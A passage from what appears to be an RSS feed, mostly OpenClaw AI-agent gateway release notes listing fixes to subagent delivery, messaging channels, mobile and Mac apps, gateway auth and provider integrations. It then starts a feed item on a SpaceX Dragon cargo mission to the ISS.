<li>Agents/tools: prefer non-webchat session-key routes when the message tool has stale webchat context, so message-tool-only replies keep delivering to the originating channel. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462346514" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82911" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82911/hovercard" href="https://github.com/openclaw/openclaw/issues/82911">#82911</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462785655" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83004" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83004/hovercard" href="https://github.com/openclaw/openclaw/pull/83004">#83004</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Channels: keep direct-message last-route writes on isolated <code>per-channel-peer</code> sessions instead of contaminating the agent main session with channel delivery context. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4030119907" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/36614" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/36614/hovercard" href="https://github.com/openclaw/openclaw/issues/36614">#36614</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aspenas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aspenas">@aspenas</a>.</li>
<li>Mac app: move the Settings sidebar toggle into the native titlebar and tighten the General pane width.</li>
<li>Mac app: keep visited Settings panes mounted so switching tabs no longer blanks and reloads their content.</li>
<li>Mac app: make Config settings open from shallow schema lookups and load selected paths on demand instead of fetching and rendering the full generated config schema up front.</li>
<li>Codex: sanitize inline image payloads before Codex app-server and OpenAI Responses replay, and clear poisoned Codex thread bindings after invalid image errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462171502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82878" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82878/hovercard" href="https://github.com/openclaw/openclaw/issues/82878">#82878</a>.</li>
<li>Providers/GitHub Copilot: request identity-encoded Copilot API responses across token exchange, catalog, model calls, usage, and embeddings so compressed Business-account error payloads no longer reach JSON parsers as gzip bytes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462159211" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82871" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82871/hovercard" href="https://github.com/openclaw/openclaw/issues/82871">#82871</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tonyfe01/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tonyfe01">@tonyfe01</a>.</li>
<li>Telegram: redact nested raw-update identifiers and user metadata before verbose raw update logging, preserving useful update/message ids without exposing chat, user, command, or profile details. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462443792" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82945" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82945/hovercard" href="https://github.com/openclaw/openclaw/pull/82945">#82945</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram: preserve replied-to bot messages, captions, and media metadata in group reply chains so follow-up replies understand what the user is reacting to. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462136761" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82863" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82863/hovercard" href="https://github.com/openclaw/openclaw/pull/82863">#82863</a>)</li>
<li>Providers/Together: update PI runtime packages to 0.74.1 and emit Together-style <code>reasoning.enabled</code>/<code>max_tokens</code> controls for reasoning-capable OpenAI-completions models.</li>
<li>Agents/diagnostics: split slow embedded-run <code>attempt-dispatch</code> startup summaries into workspace, prompt, runtime-plan, and final dispatch subspans so traces identify the delayed setup phase. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461655494" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82782" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82782/hovercard" href="https://github.com/openclaw/openclaw/issues/82782">#82782</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461658014" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82783" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82783/hovercard" href="https://github.com/openclaw/openclaw/pull/82783">#82783</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>Agents/Codex: flatten nested tool-result middleware blocks into bounded text so successful message sends are no longer replaced with <code>Tool output unavailable due to post-processing error</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462346626" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82912" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82912/hovercard" href="https://github.com/openclaw/openclaw/issues/82912">#82912</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joeykrug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joeykrug">@joeykrug</a>.</li>
<li>CLI/media: accept HTTP(S) URLs in <code>openclaw infer image describe --file</code>, fetching remote images through the guarded media path instead of treating URLs as local files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461995435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82837" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82837/hovercard" href="https://github.com/openclaw/openclaw/issues/82837">#82837</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462089264" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82854" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82854/hovercard" href="https://github.com/openclaw/openclaw/pull/82854">#82854</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Agents/subagents: keep session-backed parent runs active when the child wait call times out before the child session has actually settled, so late subagent completions are reconciled instead of being lost. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461685397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82787" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82787/hovercard" href="https://github.com/openclaw/openclaw/issues/82787">#82787</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ramitrkar-hash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ramitrkar-hash">@ramitrkar-hash</a>.</li>
<li>Control UI: advertise shared Gateway protocol constants in browser connect frames, fixing protocol mismatch handshakes after protocol constant drift. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462182289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82882" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82882/hovercard" href="https://github.com/openclaw/openclaw/issues/82882">#82882</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>Gateway: add rollback protocol-mismatch diagnostics, including client protocol ranges in Gateway logs and deep status/doctor hints for stale client processes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462019039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82841" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82841/hovercard" href="https://github.com/openclaw/openclaw/issues/82841">#82841</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462327632" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82908" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82908/hovercard" href="https://github.com/openclaw/openclaw/pull/82908">#82908</a>)</li>
<li>Agents/subagents: keep successful keep-mode completion payloads pending after final-delivery retry exhaustion, so requester recovery no longer loses final subagent results. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4459924078" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82583" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82583/hovercard" href="https://github.com/openclaw/openclaw/issues/82583">#82583</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462746689" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82999" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82999/hovercard" href="https://github.com/openclaw/openclaw/pull/82999">#82999</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Gateway/auth: allow same-host trusted-proxy callers to use the documented local direct <code>gateway.auth.password</code> fallback after revisiting the <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4395374595" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78684" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/78684/hovercard" href="https://github.com/openclaw/openclaw/issues/78684">#78684</a> fail-closed policy, while keeping token fallback rejected and forwarded-header requests on the trusted-proxy path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4460066638" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82607" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82607/hovercard" href="https://github.com/openclaw/openclaw/issues/82607">#82607</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462463433" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82953" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82953/hovercard" href="https://github.com/openclaw/openclaw/pull/82953">#82953</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents/subagents: wait for queued completion handoffs to reach the parent transcript before marking them announced, preventing busy parent runs from cleaning up before observing child results. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462352234" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82913" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82913/hovercard" href="https://github.com/openclaw/openclaw/issues/82913">#82913</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463073835" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83039" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83039/hovercard" href="https://github.com/openclaw/openclaw/pull/83039">#83039</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents/subagents: route group/channel subagent completions through message-tool-only handoffs when required and keep active-requester wake failures from dropping completion delivery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461749992" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82803" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82803/hovercard" href="https://github.com/openclaw/openclaw/issues/82803">#82803</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yozakura-ava/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yozakura-ava">@yozakura-ava</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/moeedahmed/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/moeedahmed">@moeedahmed</a>.</li>
<li>Memory-core: scan persisted memory source sessions on startup, comparing on-disk transcripts against the index and marking only missing/newer/resized files dirty for incremental sync. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4457246662" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82341/hovercard" href="https://github.com/openclaw/openclaw/pull/82341">#82341</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4457246662" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82341/hovercard" href="https://github.com/openclaw/openclaw/pull/82341">#82341</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Telegram: keep the top-level default account in the account list when named accounts or bindings are added alongside top-level credentials, preserving default polling while still letting named-only configs resolve to a single account. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461704391" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82794/hovercard" href="https://github.com/openclaw/openclaw/pull/82794">#82794</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461704391" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82794/hovercard" href="https://github.com/openclaw/openclaw/pull/82794">#82794</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>CLI/models: reuse command-scoped plugin metadata across model listing, provider catalog, auth, and synthetic-auth checks, restoring fast <code>openclaw models</code> runs for plugin-heavy installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462172294" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82881" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82881/hovercard" href="https://github.com/openclaw/openclaw/issues/82881">#82881</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463033606" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83033" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83033/hovercard" href="https://github.com/openclaw/openclaw/pull/83033">#83033</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>CLI/channels: show configured official external channels such as Discord in <code>openclaw channels list</code> when their plugin package is missing, including the install and doctor repair command instead of reporting no configured channels. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461817834" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82813" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82813/hovercard" href="https://github.com/openclaw/openclaw/issues/82813">#82813</a>.</li>
<li>Signal: preserve mixed-case group IDs through routing and session persistence so group auto-replies keep delivering after updates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461907881" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82827/hovercard" href="https://github.com/openclaw/openclaw/issues/82827">#82827</a>.</li>
<li>Agents/tools: keep the <code>message</code> tool available in embedded runs when it is explicitly allowed through <code>tools.alsoAllow</code> or runtime tool allowlists, so channel plugins with custom reply delivery can still use configured message sends. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461933704" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82833" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82833/hovercard" href="https://github.com/openclaw/openclaw/issues/82833">#82833</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cn1313113/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cn1313113">@cn1313113</a>.</li>
<li>WhatsApp: honor forced document delivery for outbound image, GIF, and video media so <code>forceDocument</code>/<code>asDocument</code> sends preserve original media bytes instead of using compressed media payloads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4404054047" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79272" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79272/hovercard" href="https://github.com/openclaw/openclaw/pull/79272">#79272</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/itsuzef/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/itsuzef">@itsuzef</a>.</li>
<li>WhatsApp: name outbound document attachments from their MIME type when no filename is provided, so PDF and CSV sends arrive as <code>file.pdf</code> and <code>file.csv</code> instead of an extensionless <code>file</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcaxtr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcaxtr">@mcaxtr</a>.</li>
<li>Process/diagnostics: report active lane blockers in lane wait warnings so <code>queueAhead=0</code> no longer hides commands waiting behind active work. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461701202" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82791" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82791/hovercard" href="https://github.com/openclaw/openclaw/issues/82791">#82791</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461702387" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82792" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82792/hovercard" href="https://github.com/openclaw/openclaw/pull/82792">#82792</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>Process/diagnostics: stop counting the active processing turn as queued backlog in liveness warnings so transient max-only event-loop spikes do not surface as gateway warnings.</li>
<li>Agents/replies: classify provider conversation-state rejections and return a clear message-channel error instead of auto-resetting or falling back to a generic runner failure. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4460117536" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82616" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82616/hovercard" href="https://github.com/openclaw/openclaw/pull/82616">#82616</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dutifulbob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dutifulbob">@dutifulbob</a>.</li>
<li>Browser plugin: trust managed Chrome CDP diagnostics when launch HTTP probes race cold-start readiness, avoiding false startup failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462309858" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82904" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82904/hovercard" href="https://github.com/openclaw/openclaw/issues/82904">#82904</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462674619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82986" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82986/hovercard" href="https://github.com/openclaw/openclaw/pull/82986">#82986</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kmanan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kmanan">@kmanan</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Android: prompt before replacing a changed Gateway TLS thumbprint, showing the old and new SHA-256 fingerprints so users can accept expected certificate rotations instead of hard failing on pin mismatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463285677" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83077" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83077/hovercard" href="https://github.com/openclaw/openclaw/pull/83077">#83077</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliekens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliekens">@sliekens</a>.</li>
<li>CLI/status: render extra gateway-like service diagnostics as warning/info output instead of error output. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077671100" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46930" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/46930/hovercard" href="https://github.com/openclaw/openclaw/issues/46930">#46930</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462392789" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82922" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82922/hovercard" href="https://github.com/openclaw/openclaw/pull/82922">#82922</a>) thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Agents/failover: classify Moonshot/Kimi exhausted-balance HTTP 429 payloads as billing instead of generic rate limits, preserving billing guidance and fallback behavior. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4060463710" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43447" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/43447/hovercard" href="https://github.com/openclaw/openclaw/issues/43447">#43447</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463292018" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83079" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83079/hovercard" href="https://github.com/openclaw/openclaw/pull/83079">#83079</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>.</li>
<li>Plugin SDK: bundle <code>openclaw/plugin-sdk/zod</code> into the published package artifact and verify the packed zod subpath stays self-contained, so pnpm global installs can register plugins without a package-local <code>zod</code> symlink. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390279612" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78398" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/78398/hovercard" href="https://github.com/openclaw/openclaw/issues/78398">#78398</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392386441" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78515" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78515/hovercard" href="https://github.com/openclaw/openclaw/pull/78515">#78515</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ggzeng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ggzeng">@ggzeng</a>.</li>
<li>Providers/Google: drop compaction-truncated Gemini thought signatures before replay so malformed Base64 no longer aborts the next assistant turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462736082" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82995" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82995/hovercard" href="https://github.com/openclaw/openclaw/pull/82995">#82995</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wAngByg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wAngByg">@wAngByg</a>.</li>
<li>Gateway/mobile: allow paired iOS and Android clients to refresh same-family OS metadata on authenticated reconnect instead of requiring a new approval. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467055055" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83490" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83490/hovercard" href="https://github.com/openclaw/openclaw/pull/83490">#83490</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>WhatsApp: treat <code>upload-file</code> as a supported media send intent by lowering path/URL uploads through the channel's normal send-media transport. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4448275851" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81883" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81883/hovercard" href="https://github.com/openclaw/openclaw/pull/81883">#81883</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>iOS: end Live Activities when OpenClaw is connected, idle, or disconnected, and show compact attention states for approval-required reconnects. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469191547" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83597" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83597/hovercard" href="https://github.com/openclaw/openclaw/pull/83597">#83597</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Control UI: hide child nav items when collapsing the active sidebar group. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4051748466" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42167" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42167/hovercard" href="https://github.com/openclaw/openclaw/issues/42167">#42167</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4052169484" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42223" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/42223/hovercard" href="https://github.com/openclaw/openclaw/pull/42223">#42223</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Aroool/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Aroool">@Aroool</a>.</li>
<li>CI/proof: skip the real-behavior-proof gate for private org maintainers by minting a least-privilege (<code>members: read</code>) GitHub App token and checking active membership in the <code>maintainer</code> team, instead of treating <code>author_association=CONTRIBUTOR</code> as definitively external. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466090722" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83418" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83418/hovercard" href="https://github.com/openclaw/openclaw/pull/83418">#83418</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[SpaceX Dragon Capsule Reaches ISS Carrying 6,500 Pounds of Supplies]]></title>
<description><![CDATA[SpaceX successfully launched and docked its Dragon capsule at the International Space Station under NASA’s CRS-34 mission. The spacecraft delivered cargo, scientific equipment, and advanced research experiments focused on bone health, microgravity simulation, and charged particles around Earth. A...]]></description>
<link>https://tsecurity.de/de/3526500/it-nachrichten/spacex-dragon-capsule-reaches-iss-carrying-6500-pounds-of-supplies/</link>
